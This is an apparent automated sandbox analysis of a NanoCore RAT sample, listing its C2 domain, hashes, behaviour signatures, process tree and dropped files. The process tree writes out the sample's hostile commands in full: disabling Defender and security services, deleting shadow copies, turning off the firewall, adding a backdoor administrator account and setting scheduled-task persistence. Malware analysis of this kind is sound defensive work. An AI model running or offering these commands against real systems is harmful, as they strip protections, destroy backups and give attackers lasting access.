Analysis

  • max time kernel
    150s
  • max time network
    142s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    24/08/2026, 13:08

General

  • Target
    huehuecoyotl.net_nano.exe
  • Size 64KB
  • Sample260824-qdebeade63
  • SHA256 399e1675f127472673cf6c64e6fc041c1720ca157aa4f2058d2ea1db4b7791e2
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • nanocore

Version
  • 1.2.2.0

C2
  • http://huehuecoyotl.net

Mutex
  • ac7e2f05-8df7-4c55-8841-78385f6bb064

Attributes
  • c2_url

    http://huehuecoyotl.net

  • version

    1.2.2.0

Signatures

  • Family: NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Creates a new local user account 1 TTPs 2 IoCs

    Uses net.exe to create a new local user account, often for persistence or a backdoor account.

  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 6 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Launches sc.exe 28 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 6 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Permission Groups Discovery: Local Groups 1 TTPs

    Attempt to find local system groups and permission settings.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 60 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\huehuecoyotl.net_nano.exe
    "C:\Users\Admin\AppData\Local\Temp\huehuecoyotl.net_nano.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Event Triggered Execution: Image File Execution Options Injection
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4836
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3512
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:2932
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4244
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:4556
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:6100
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:2464
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:5892
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:2772
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:1748
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wuauserv
      2⤵
      • Launches sc.exe
      PID:1560
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wuauserv start= disabled
      2⤵
      • Launches sc.exe
      PID:5280
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop bits
      2⤵
      • Launches sc.exe
      PID:5588
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config bits start= disabled
      2⤵
      • Launches sc.exe
      PID:2868
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop vss
      2⤵
      • Launches sc.exe
      PID:4092
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config vss start= disabled
      2⤵
      • Launches sc.exe
      PID:1304
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop swprv
      2⤵
      • Launches sc.exe
      PID:4548
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config swprv start= disabled
      2⤵
      • Launches sc.exe
      PID:2696
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop EventLog
      2⤵
      • Launches sc.exe
      PID:2148
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config EventLog start= disabled
      2⤵
      • Launches sc.exe
      PID:5752
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SysmonLog
      2⤵
      • Launches sc.exe
      PID:2984
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SysmonLog start= disabled
      2⤵
      • Launches sc.exe
      PID:5596
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop Sysmon
      2⤵
      • Launches sc.exe
      PID:200
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config Sysmon start= disabled
      2⤵
      • Launches sc.exe
      PID:3284
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop sense
      2⤵
      • Launches sc.exe
      PID:1428
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config sense start= disabled
      2⤵
      • Launches sc.exe
      PID:5736
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5996
      • C:\Users\Admin\AppData\Local\Temp\huehuecoyotl.net_nano.exe
        "C:\Users\Admin\AppData\Local\Temp\huehuecoyotl.net_nano.exe"
        3⤵
          PID:3500
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wscsvc
        2⤵
        • Launches sc.exe
        PID:2616
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wuauserv
        2⤵
        • Launches sc.exe
        PID:3744
      • C:\Windows\System32\vssadmin.exe
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        2⤵
        • Interacts with shadow copies
        PID:4852
      • C:\Windows\System32\wbem\WMIC.exe
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1588
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\huehuecoyotl.net_nano.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1144
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\huehuecoyotl.net_nano.exe" /sc minute /mo 30 /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5148
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1992
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:3248
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:1428
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5656
        • C:\Windows\system32\systeminfo.exe
          systeminfo
          3⤵
          • Gathers system information
          PID:1148
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2468
        • C:\Windows\system32\tasklist.exe
          tasklist
          3⤵
          • Discovers running processes
          PID:5040
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4796
        • C:\Windows\system32\whoami.exe
          whoami
          3⤵
            PID:1732
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4436
          • C:\Windows\system32\ipconfig.exe
            ipconfig /all
            3⤵
            • Gathers network information
            PID:2732
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4404
          • C:\Windows\system32\NETSTAT.EXE
            netstat -an
            3⤵
            • Gathers network information
            PID:2356
        • C:\Windows\SYSTEM32\schtasks.exe
          "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\huehuecoyotl.net_nano.exe" /sc daily /f
          2⤵
          • Scheduled Task/Job: Scheduled Task
          PID:3208
        • C:\Windows\System32\wscript.exe
          "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
          2⤵
          • Executes a VBScript file via the Windows Script Host.
          PID:3676
        • C:\Windows\System32\notepad.exe
          "C:\Windows\System32\notepad.exe"
          2⤵
            PID:2960
          • C:\Windows\System32\net.exe
            "C:\Windows\System32\net.exe" stop srservice
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2496
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop srservice
              3⤵
                PID:3368
            • C:\Windows\System32\netsh.exe
              "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
              2⤵
              • Modifies Windows Firewall
              • Event Triggered Execution: Netsh Helper DLL
              PID:1728
            • C:\Windows\System32\sc.exe
              "C:\Windows\System32\sc.exe" config i8042prt start= disabled
              2⤵
              • Launches sc.exe
              PID:2320
            • C:\Windows\System32\sc.exe
              "C:\Windows\System32\sc.exe" stop i8042prt
              2⤵
              • Launches sc.exe
              PID:4824
            • C:\Windows\system32\svchost.exe
              "C:\Windows\system32\svchost.exe"
              2⤵
                PID:6088
              • C:\Windows\SYSTEM32\netsh.exe
                "netsh" wlan show profiles
                2⤵
                • Event Triggered Execution: Netsh Helper DLL
                • System Network Configuration Discovery: Wi-Fi Discovery
                PID:3456
              • C:\Windows\System32\net.exe
                "C:\Windows\System32\net.exe" user backdoor P@ssw0rd123 /add
                2⤵
                • Creates a new local user account
                • Suspicious use of WriteProcessMemory
                PID:5440
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 user backdoor P@ssw0rd123 /add
                  3⤵
                  • Creates a new local user account
                  PID:5632
              • C:\Windows\System32\net.exe
                "C:\Windows\System32\net.exe" localgroup administrators backdoor /add
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:2764
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 localgroup administrators backdoor /add
                  3⤵
                    PID:424
              • C:\Users\Admin\AppData\Local\Temp\huehuecoyotl.net_nano.exe
                C:\Users\Admin\AppData\Local\Temp\huehuecoyotl.net_nano.exe
                1⤵
                  PID:6000
                • C:\Users\Admin\AppData\Local\Temp\huehuecoyotl.net_nano.exe
                  C:\Users\Admin\AppData\Local\Temp\huehuecoyotl.net_nano.exe
                  1⤵
                    PID:2992
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k GPSvcGroup
                    1⤵
                      PID:4716

                    Network

                          MITRE ATT&CK Enterprise v16

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          scr_20260824_141012.jpg

                          • Path C:\ProgramData\SysUpdate\Scr\scr_20260824_141012.jpg
                          • Size 129KB
                          • SHA256 8c207bd6bdce85da26011765e2cbe9ac594ae123dc3651eabe5ffbc9b887154f
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          doc_3.pdf

                          • Path C:\SystemVolumeInformation\doc_3.pdf
                          • Size 86KB
                          • SHA256 abf773bdb8f0c2ed9b0a407fcccca633dc2af1efde5a812ede74d5c13ede01c2
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          createshortcut.vbs

                          • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                          • Size 246B
                          • SHA256 d117f86ecca420de84fe3448bbb08940e24a73ad7f9f115ebc65a59f73bd58c2
                          • MD5 SHA1 SHA512 TLSH

                          del.bat

                          • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                          • Size 59B
                          • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                          • MD5 SHA1 SHA512 TLSH

                          temp_steal.log

                          • Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
                          • Size 16KB
                          • SHA256 2afa31263e3448f1ae28a6d81293fbd01ecef7b765c43c572f3d85c875c44546
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          temp_steal.log

                          • Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
                          • Size 293KB
                          • SHA256 1b101acbad88af663aff3ebb41d8d41eecbbf25f451386af2317911d037b25ac
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          RANSOM_NOTE.txt

                          • Path C:\Users\Admin\Desktop\RANSOM_NOTE.txt
                          • Size 177B
                          • SHA256 bfd4ed4bcd78100294aeaee2c2b4b8e37fb372b61cdcaa2a14f50ebe4b708e93
                          • MD5 SHA1 SHA512 TLSH

                          READ_ME_NANOCORE.txt

                          • Path C:\Users\Admin\Desktop\READ_ME_NANOCORE.txt
                          • Size 145B
                          • SHA256 7057e5f2042a9706c5d18b7d05214373577eb0293599d361bf66cfba3a3eee4f
                          • MD5 SHA1 SHA512 TLSH

                          stolen_data_here.txt

                          • Path C:\Users\Admin\Desktop\stolen_data_here.txt
                          • Size 19KB
                          • SHA256 13b2f13b4fdddfd04bd57e8097baa125d5341004c766dfa7eaeae2a7b187c72c
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          stolen_data_here.txt

                          • Path C:\Users\Admin\Desktop\stolen_data_here.txt
                          • Size 418B
                          • SHA256 c66ae7706fb0785a67be96ca6697a43b1e03c88a81b49896a9ace089d6ada2e7
                          • MD5 SHA1 SHA512 TLSH

                          stolen_data_here.txt

                          • Path C:\Users\Admin\Desktop\stolen_data_here.txt
                          • Size 293KB
                          • SHA256 c736309deb9bf195089b53361dfe626f6dd09567a305538003657240435d35fe
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          invoice_2.pdf

                          • Path C:\Users\Admin\Documents\invoice_2.pdf
                          • Size 86KB
                          • SHA256 4d20810db6513f1d642608e256851dcc3603151df894e802930633f266d9c739
                          • MD5 SHA1 SHA512 SSDEEP TLSH

                          memory/2960-188-0x000001A079810000-0x000001A079811000-memory.dmp

                          memory/3512-15-0x000001BECB680000-0x000001BECB69E000-memory.dmp

                          memory/3512-17-0x000001BECB760000-0x000001BECB76A000-memory.dmp

                          memory/3512-16-0x000001BECB6A0000-0x000001BECB752000-memory.dmp

                          memory/3512-10-0x000001BEB2E90000-0x000001BEB2EB2000-memory.dmp

                          memory/4836-4-0x00007FFC13ED0000-0x00007FFC14874000-memory.dmp

                          memory/4836-5-0x00007FFC13ED0000-0x00007FFC14874000-memory.dmp

                          memory/4836-187-0x00007FFC13ED0000-0x00007FFC14874000-memory.dmp

                          memory/4836-6-0x00007FFC13ED0000-0x00007FFC14874000-memory.dmp

                          memory/4836-0-0x00007FFC1405F000-0x00007FFC14060000-memory.dmp

                          memory/4836-205-0x00007FFC13ED0000-0x00007FFC14874000-memory.dmp

                          memory/4836-211-0x00007FFC13ED0000-0x00007FFC14874000-memory.dmp

                          memory/4836-3-0x00007FFC13ED0000-0x00007FFC14874000-memory.dmp

                          memory/4836-7-0x00007FFC13ED0000-0x00007FFC14874000-memory.dmp

                          memory/4836-2-0x00007FFC13ED0000-0x00007FFC14874000-memory.dmp

                          memory/4836-1-0x00000000001C0000-0x00000000001D6000-memory.dmp